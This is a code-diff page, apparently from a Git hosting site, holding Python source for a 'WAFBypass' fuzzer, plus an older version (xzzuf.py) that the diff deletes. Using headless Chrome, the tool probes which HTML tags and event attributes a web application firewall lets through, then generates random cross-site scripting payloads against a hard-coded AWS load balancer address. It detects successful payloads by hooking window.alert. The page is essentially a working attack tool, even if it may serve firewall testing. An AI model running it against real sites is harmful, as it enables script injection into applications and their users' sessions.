        self.lock.acquire()
 | 
			
		||||
        self.payloads += 1
 | 
			
		||||
        self.lock.release()
 | 
			
		||||
 | 
			
		||||
    def check_connection(self):
 | 
			
		||||
        try:
 | 
			
		||||
            self.driver.get(self.url.geturl())
 | 
			
		||||
            return True
 | 
			
		||||
        except:
 | 
			
		||||
            return False
 | 
			
		||||
 | 
			
		||||
    def wait_for_pageload(self, driver):
 | 
			
		||||
        try:
 | 
			
		||||
            WebDriverWait(driver, 4).until(
 | 
			
		||||
                lambda driver: driver.execute_script("return document.readyState") == "complete")
 | 
			
		||||
        except TimeoutError:
 | 
			
		||||
            raise Exception("Page Load Error")
 | 
			
		||||
 | 
			
		||||
    def get_page_title(self):
 | 
			
		||||
        return self.driver.title
 | 
			
		||||
 | 
			
		||||
    @property
 | 
			
		||||
    def is_403(self):
 | 
			
		||||
        return self.driver.title == "403 Forbidden"
 | 
			
		||||
 | 
			
		||||
    @property
 | 
			
		||||
    def triggered_xss(self):
 | 
			
		||||
        return self.driver.execute_script("return window.alert_trigger")
 | 
			
		||||
 | 
			
		||||
    def navigate(self, driver, url):
 | 
			
		||||
        driver.get(url)
 | 
			
		||||
        self.wait_for_pageload(driver)
 | 
			
		||||
 | 
			
		||||
        is403 = False
 | 
			
		||||
 | 
			
		||||
        if self.is_403:
 | 
			
		||||
            is403 = True
 | 
			
		||||
        else:
 | 
			
		||||
            is403 = False
 | 
			
		||||
 | 
			
		||||
        triggerxss = self.triggered_xss
 | 
			
		||||
 | 
			
		||||
        return (is403, triggerxss)
 | 
			
		||||
 | 
			
		||||
    def identify_unfiltered_attributes(self):
 | 
			
		||||
        try:
 | 
			
		||||
            self.unfiltered_attributes["global"] = []
 | 
			
		||||
            self.unfiltered_attributes["events"] = []
 | 
			
		||||
            self.unfiltered_attributes["tag_specific"] = {}
 | 
			
		||||
 | 
			
		||||
            for attr in GlobalAttributes:
 | 
			
		||||
                encoded = urlencode({self.param: f"{attr}"})
 | 
			
		||||
                url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                is403, _ = self.navigate(self.driver, url)
 | 
			
		||||
                if not is403:
 | 
			
		||||
                    self.unfiltered_attributes["global"].append(attr)
 | 
			
		||||
 | 
			
		||||
            for attr in EventsAttributes:
 | 
			
		||||
                encoded = urlencode({self.param: f"{attr}"})
 | 
			
		||||
                url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                is403, _ = self.navigate(self.driver, url)
 | 
			
		||||
                if not is403:
 | 
			
		||||
                    self.unfiltered_attributes["events"].append(attr)
 | 
			
		||||
 | 
			
		||||
            for tag in self.unfiltered_tags:
 | 
			
		||||
                if tag not in self.unfiltered_attributes["tag_specific"]:
 | 
			
		||||
                    self.unfiltered_attributes["tag_specific"][tag.name] = []
 | 
			
		||||
                try:
 | 
			
		||||
                    for attr in TagSpecificAttributes[tag.name]:
 | 
			
		||||
                        encoded = urlencode(
 | 
			
		||||
                            {self.param: f"<{tag.name} {attr}/>"})
 | 
			
		||||
                        url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                        is403, _ = self.navigate(self.driver, url)
 | 
			
		||||
                        if not is403:
 | 
			
		||||
                            self.unfiltered_attributes["tag_specific"][tag.name].append(
 | 
			
		||||
                                attr)
 | 
			
		||||
                except KeyError:
 | 
			
		||||
                    print(f"Tag {tag.name} not found in TagSpecificAttributes")
 | 
			
		||||
        except KeyboardInterrupt:
 | 
			
		||||
            return
 | 
			
		||||
 | 
			
		||||
    def identify_unfiltered_tags(self):
 | 
			
		||||
        try:
 | 
			
		||||
            for tag in Tags:
 | 
			
		||||
                encoded = urlencode({self.param: f"{tag}"})
 | 
			
		||||
                url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                is403, _ = self.navigate(self.driver, url)
 | 
			
		||||
                if not is403:
 | 
			
		||||
                    self.unfiltered_tags.append(tag)
 | 
			
		||||
        except KeyboardInterrupt:
 | 
			
		||||
            return
 | 
			
		||||
 | 
			
		||||
    def dry_run(self):
 | 
			
		||||
        try:
 | 
			
		||||
            self.identify_unfiltered_tags()
 | 
			
		||||
            self.identify_unfiltered_attributes()
 | 
			
		||||
        except Exception as e:
 | 
			
		||||
            raise Exception(f"Dry Run Error: {e}")
 | 
			
		||||
        except KeyboardInterrupt:
 | 
			
		||||
            return
 | 
			
		||||
 | 
			
		||||
    def get_tag(self):
 | 
			
		||||
        try:
 | 
			
		||||
            tag = choice(self.unfiltered_tags)
 | 
			
		||||
            # make a copy of tag to avoid mutating the original
 | 
			
		||||
            tag = HTMLTag(tag.name, tag.self_closing)
 | 
			
		||||
            tag.set_mutator(self.mutator)
 | 
			
		||||
 | 
			
		||||
            nglobattr = choice(range(1, 3))
 | 
			
		||||
            nattr = choice(range(1, 3))
 | 
			
		||||
 | 
			
		||||
            globals = list(self.unfiltered_attributes["global"])
 | 
			
		||||
 | 
			
		||||
            for _ in range(0, nglobattr):
 | 
			
		||||
                if len(globals) == 0:
 | 
			
		||||
                    break
 | 
			
		||||
                attr = choice(globals)
 | 
			
		||||
                globals.remove(attr)
 | 
			
		||||
                # make a copy of attr to avoid mutating the original
 | 
			
		||||
                attr = HTMLAttribute(attr.name, attr.kind,
 | 
			
		||||
                                     glob=True, root=None)
 | 
			
		||||
                tag.add_attribute(attr)
 | 
			
		||||
 | 
			
		||||
            attr = choice(self.unfiltered_attributes["events"])
 | 
			
		||||
            # make a copy of attr to avoid mutating the original
 | 
			
		||||
            attr = HTMLAttribute(attr.name, attr.kind,
 | 
			
		||||
                                 glob=False, root=None)
 | 
			
		||||
            tag.add_attribute(attr)
 | 
			
		||||
 | 
			
		||||
            tag_specific = list(
 | 
			
		||||
                self.unfiltered_attributes["tag_specific"][tag.name])
 | 
			
		||||
 | 
			
		||||
            for _ in range(0, nattr):
 | 
			
		||||
                if len(tag_specific) == 0:
 | 
			
		||||
                    break
 | 
			
		||||
                attr = choice(tag_specific)
 | 
			
		||||
                tag_specific.remove(attr)
 | 
			
		||||
                # make a copy of attr to avoid mutating the original
 | 
			
		||||
                attr = HTMLAttribute(attr.name, attr.kind,
 | 
			
		||||
                                     glob=False, root=None)
 | 
			
		||||
                tag.add_attribute(attr)
 | 
			
		||||
 | 
			
		||||
            addchildren = {
 | 
			
		||||
                70: lambda: False,
 | 
			
		||||
                30: lambda: True
 | 
			
		||||
            }
 | 
			
		||||
 | 
			
		||||
            should_add = choice_percent(addchildren)
 | 
			
		||||
 | 
			
		||||
            if (should_add()):
 | 
			
		||||
                tag.children.append(self.get_tag())
 | 
			
		||||
 | 
			
		||||
            return tag
 | 
			
		||||
        except KeyboardInterrupt:
 | 
			
		||||
            return None
 | 
			
		||||
 | 
			
		||||
    def fuzz_thread(self, driver: webdriver.Chrome, started):
 | 
			
		||||
        driver.execute_cdp_cmd(
 | 
			
		||||
            "Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
 | 
			
		||||
 | 
			
		||||
        while not started:
 | 
			
		||||
            time.sleep(0.1)
 | 
			
		||||
            pass
 | 
			
		||||
 | 
			
		||||
        while True:
 | 
			
		||||
            element = self.queue.pop()
 | 
			
		||||
            if not element:
 | 
			
		||||
                break
 | 
			
		||||
            encoded = urlencode({self.param: f"{element}"})
 | 
			
		||||
            url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
            is403, triggered = self.navigate(driver, url)
 | 
			
		||||
 | 
			
		||||
        # close window
 | 
			
		||||
        driver.close()
 | 
			
		||||
 | 
			
		||||
    def get_tag_id(self, tag):
 | 
			
		||||
        tag_ids = []
 | 
			
		||||
        tag_ids.append(tag.id)
 | 
			
		||||
        if len(tag.children) >= 0:
 | 
			
		||||
            for child in tag.children:
 | 
			
		||||
                tag_ids.extend(self.get_tag_id(child))
 | 
			
		||||
 | 
			
		||||
        return tag_ids
 | 
			
		||||
 | 
			
		||||
    def get_tag_name(self, tag):
 | 
			
		||||
        tag_names = []
 | 
			
		||||
        tag_names.append(tag.nameattr)
 | 
			
		||||
        if len(tag.children) >= 0:
 | 
			
		||||
            for child in tag.children:
 | 
			
		||||
                tag_names.extend(self.get_tag_name(child))
 | 
			
		||||
 | 
			
		||||
        return tag_names
 | 
			
		||||
 | 
			
		||||
    def get_ids(self, tags):
 | 
			
		||||
        tag_ids = []
 | 
			
		||||
        for tag in tags:
 | 
			
		||||
            tag_ids.extend(self.get_tag_id(tag))
 | 
			
		||||
        return tag_ids
 | 
			
		||||
 | 
			
		||||
    def get_names(self, tags):
 | 
			
		||||
        tag_names = []
 | 
			
		||||
        for tag in tags:
 | 
			
		||||
            tag_names.extend(self.get_tag_name(tag))
 | 
			
		||||
        return tag_names
 | 
			
		||||
 | 
			
		||||
    def populate_ids_names(self, tags):
 | 
			
		||||
        ids = self.get_ids(tags)
 | 
			
		||||
        names = self.get_names(tags)
 | 
			
		||||
 | 
			
		||||
        def populate(tag, ids=ids, names=names):
 | 
			
		||||
            tag.ids = ids
 | 
			
		||||
            tag.names = names
 | 
			
		||||
            for child in tag.children:
 | 
			
		||||
                populate(child)
 | 
			
		||||
 | 
			
		||||
        for tag in tags:
 | 
			
		||||
            populate(tag)
 | 
			
		||||
 | 
			
		||||
    def test(self):
 | 
			
		||||
        try:
 | 
			
		||||
            self.dry_run()
 | 
			
		||||
 | 
			
		||||
            print("Starting fuzzer")
 | 
			
		||||
 | 
			
		||||
            while True:
 | 
			
		||||
                tags = [self.get_tag() for _ in range(0, choice(range(1, 3)))]
 | 
			
		||||
                self.populate_ids_names(tags)
 | 
			
		||||
                payload = TagList(tags)
 | 
			
		||||
                encoded = urlencode({self.param: f"{payload}"})
 | 
			
		||||
                url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                is403, triggered = self.navigate(self.driver, url)
 | 
			
		||||
                if triggered:
 | 
			
		||||
                    print(f"XSS Payload: {payload}")
 | 
			
		||||
                self.driver.execute_script(
 | 
			
		||||
                    self.trigger.format(self.get_ids(tags)))
 | 
			
		||||
                triggered = self.triggered_xss
 | 
			
		||||
                if triggered:
 | 
			
		||||
                    print(f"XSS Payload: {payload}")
 | 
			
		||||
 | 
			
		||||
        except KeyboardInterrupt:
 | 
			
		||||
            print("Stopping fuzzer")
 | 
			
		||||
            self.driver.close()
 | 
			
		||||
            return
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
w = WAFBypass(
 | 
			
		||||
    "http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com", "param2")
 | 
			
		||||
w.test()
 | 
			
		||||
							
								
								
									
										181
									
								
								xzzuf.py
									
									
									
									
									
								
							
							
						
						
									
										181
									
								
								xzzuf.py
									
									
									
									
									
								
							@ -1,181 +0,0 @@
 | 
			
		||||
from urllib.parse import unquote
 | 
			
		||||
import selenium
 | 
			
		||||
import time
 | 
			
		||||
from selenium import webdriver
 | 
			
		||||
from selenium.webdriver.support.ui import WebDriverWait
 | 
			
		||||
from urllib.parse import urlparse
 | 
			
		||||
from urllib.parse import urlencode
 | 
			
		||||
from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
 | 
			
		||||
from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags
 | 
			
		||||
from mutations import Mutations
 | 
			
		||||
from utils import choice
 | 
			
		||||
 | 
			
		||||
# WAFBypass class
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class WAFBypass():
 | 
			
		||||
    code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}"
 | 
			
		||||
 | 
			
		||||
    def __init__(self, url) -> None:
 | 
			
		||||
        self.options = webdriver.ChromeOptions()
 | 
			
		||||
        self.options.add_argument('--no-sandbox')
 | 
			
		||||
        self.options.add_argument('--headless')
 | 
			
		||||
        self.unfiltered_attributes = {}
 | 
			
		||||
        self.unfiltered_tags = []
 | 
			
		||||
        self.driver = webdriver.Chrome(options=self.options)
 | 
			
		||||
        self.url = urlparse(url)
 | 
			
		||||
        self.mutator = Mutations()
 | 
			
		||||
 | 
			
		||||
        if not self.check_connection():
 | 
			
		||||
            raise Exception("Connection Error")
 | 
			
		||||
 | 
			
		||||
        self.driver.execute_cdp_cmd(
 | 
			
		||||
            "Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
 | 
			
		||||
 | 
			
		||||
    def check_connection(self):
 | 
			
		||||
        try:
 | 
			
		||||
            self.driver.get(self.url.geturl())
 | 
			
		||||
            return True
 | 
			
		||||
        except:
 | 
			
		||||
            return False
 | 
			
		||||
 | 
			
		||||
    def wait_for_pageload(self):
 | 
			
		||||
        try:
 | 
			
		||||
            WebDriverWait(self.driver, 4).until(
 | 
			
		||||
                lambda driver: driver.execute_script("return document.readyState") == "complete")
 | 
			
		||||
        except TimeoutError:
 | 
			
		||||
            raise Exception("Page Load Error")
 | 
			
		||||
 | 
			
		||||
    def get_page_title(self):
 | 
			
		||||
        return self.driver.title
 | 
			
		||||
 | 
			
		||||
    @property
 | 
			
		||||
    def is_403(self):
 | 
			
		||||
        return self.driver.title == "403 Forbidden"
 | 
			
		||||
 | 
			
		||||
    @property
 | 
			
		||||
    def triggered_xss(self):
 | 
			
		||||
        return self.driver.execute_script("return window.alert_trigger")
 | 
			
		||||
 | 
			
		||||
    def navigate(self, url):
 | 
			
		||||
        self.driver.get(url)
 | 
			
		||||
        self.wait_for_pageload()
 | 
			
		||||
 | 
			
		||||
        is403 = False
 | 
			
		||||
 | 
			
		||||
        if self.is_403:
 | 
			
		||||
            is403 = True
 | 
			
		||||
        else:
 | 
			
		||||
            is403 = False
 | 
			
		||||
 | 
			
		||||
        triggerxss = self.triggered_xss
 | 
			
		||||
 | 
			
		||||
        return (is403, triggerxss)
 | 
			
		||||
 | 
			
		||||
    def identify_unfiltered_attributes(self):
 | 
			
		||||
        try:
 | 
			
		||||
            self.unfiltered_attributes["global"] = []
 | 
			
		||||
            self.unfiltered_attributes["events"] = []
 | 
			
		||||
            self.unfiltered_attributes["tag_specific"] = {}
 | 
			
		||||
 | 
			
		||||
            for attr in GlobalAttributes:
 | 
			
		||||
                encoded = urlencode({"param2": f"{attr}"})
 | 
			
		||||
                url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                is403, _ = self.navigate(url)
 | 
			
		||||
                if not is403:
 | 
			
		||||
                    self.unfiltered_attributes["global"].append(attr)
 | 
			
		||||
 | 
			
		||||
            for attr in EventsAttributes:
 | 
			
		||||
                encoded = urlencode({"param2": f"{attr}"})
 | 
			
		||||
                url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                is403, _ = self.navigate(url)
 | 
			
		||||
                if not is403:
 | 
			
		||||
                    self.unfiltered_attributes["events"].append(attr)
 | 
			
		||||
 | 
			
		||||
            for tag in self.unfiltered_tags:
 | 
			
		||||
                try:
 | 
			
		||||
                    for attr in TagSpecificAttributes[tag.name]:
 | 
			
		||||
                        if tag not in self.unfiltered_attributes["tag_specific"]:
 | 
			
		||||
                            self.unfiltered_attributes["tag_specific"][tag.name] = [
 | 
			
		||||
                            ]
 | 
			
		||||
                        encoded = urlencode(
 | 
			
		||||
                            {"param2": f"<{tag.name} {attr}/>"})
 | 
			
		||||
                        url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                        is403, _ = self.navigate(url)
 | 
			
		||||
                        if not is403:
 | 
			
		||||
                            self.unfiltered_attributes["tag_specific"][tag.name].append(
 | 
			
		||||
                                attr)
 | 
			
		||||
                except KeyError:
 | 
			
		||||
                    print(f"Tag {tag.name} not found in TagSpecificAttributes")
 | 
			
		||||
        except KeyboardInterrupt:
 | 
			
		||||
            self.driver.close()
 | 
			
		||||
            exit(0)
 | 
			
		||||
 | 
			
		||||
    def identify_unfiltered_tags(self):
 | 
			
		||||
        try:
 | 
			
		||||
            for tag in Tags:
 | 
			
		||||
                encoded = urlencode({"param2": f"{tag}"})
 | 
			
		||||
                url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                is403, _ = self.navigate(url)
 | 
			
		||||
                if not is403:
 | 
			
		||||
                    self.unfiltered_tags.append(tag)
 | 
			
		||||
        except KeyboardInterrupt:
 | 
			
		||||
            self.driver.close()
 | 
			
		||||
            exit(0)
 | 
			
		||||
 | 
			
		||||
    def dry_run(self):
 | 
			
		||||
        try:
 | 
			
		||||
            self.identify_unfiltered_tags()
 | 
			
		||||
            self.identify_unfiltered_attributes()
 | 
			
		||||
            for tag in self.unfiltered_tags:
 | 
			
		||||
                tag.set_mutator(self.mutator)
 | 
			
		||||
        except Exception as e:
 | 
			
		||||
            raise Exception(f"Dry Run Error: {e}")
 | 
			
		||||
 | 
			
		||||
    def run_fuzz(self):
 | 
			
		||||
        self.dry_run()
 | 
			
		||||
 | 
			
		||||
    def test(self):
 | 
			
		||||
        try:
 | 
			
		||||
            self.dry_run()
 | 
			
		||||
            print("Unfiltered Tags:")
 | 
			
		||||
            for tag in self.unfiltered_tags:
 | 
			
		||||
                print(tag.name)
 | 
			
		||||
            for _ in range(0, 10):
 | 
			
		||||
                tag = choice(self.unfiltered_tags)
 | 
			
		||||
 | 
			
		||||
                tag.attributes = []
 | 
			
		||||
                tag.children = []
 | 
			
		||||
 | 
			
		||||
                nglobattr = choice(range(1, 3))
 | 
			
		||||
                nattr = choice(range(0, 3))
 | 
			
		||||
 | 
			
		||||
                globals = self.unfiltered_attributes["global"]
 | 
			
		||||
 | 
			
		||||
                for _ in range(0, nglobattr):
 | 
			
		||||
                    if len(globals) == 0:
 | 
			
		||||
                        break
 | 
			
		||||
                    attr = choice(globals)
 | 
			
		||||
                    globals.remove(attr)
 | 
			
		||||
                    tag.add_attribute(attr)
 | 
			
		||||
 | 
			
		||||
                tag.add_attribute(choice(self.unfiltered_attributes["events"]))
 | 
			
		||||
 | 
			
		||||
                tag_specific = self.unfiltered_attributes["tag_specific"][tag.name]
 | 
			
		||||
 | 
			
		||||
                for _ in range(0, nattr):
 | 
			
		||||
                    if len(tag_specific) == 0:
 | 
			
		||||
                        break
 | 
			
		||||
                    attr = choice(tag_specific)
 | 
			
		||||
                    tag_specific.remove(attr)
 | 
			
		||||
                    tag.add_attribute(attr)
 | 
			
		||||
 | 
			
		||||
                print(tag)
 | 
			
		||||
 | 
			
		||||
        except KeyboardInterrupt:
 | 
			
		||||
            self.driver.close()
 | 
			
		||||
            exit(0)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com")
 | 
			
		||||
w.test()
 | 
			
		||||
		Loading…
	
		Reference in New Issue
	
	Block a user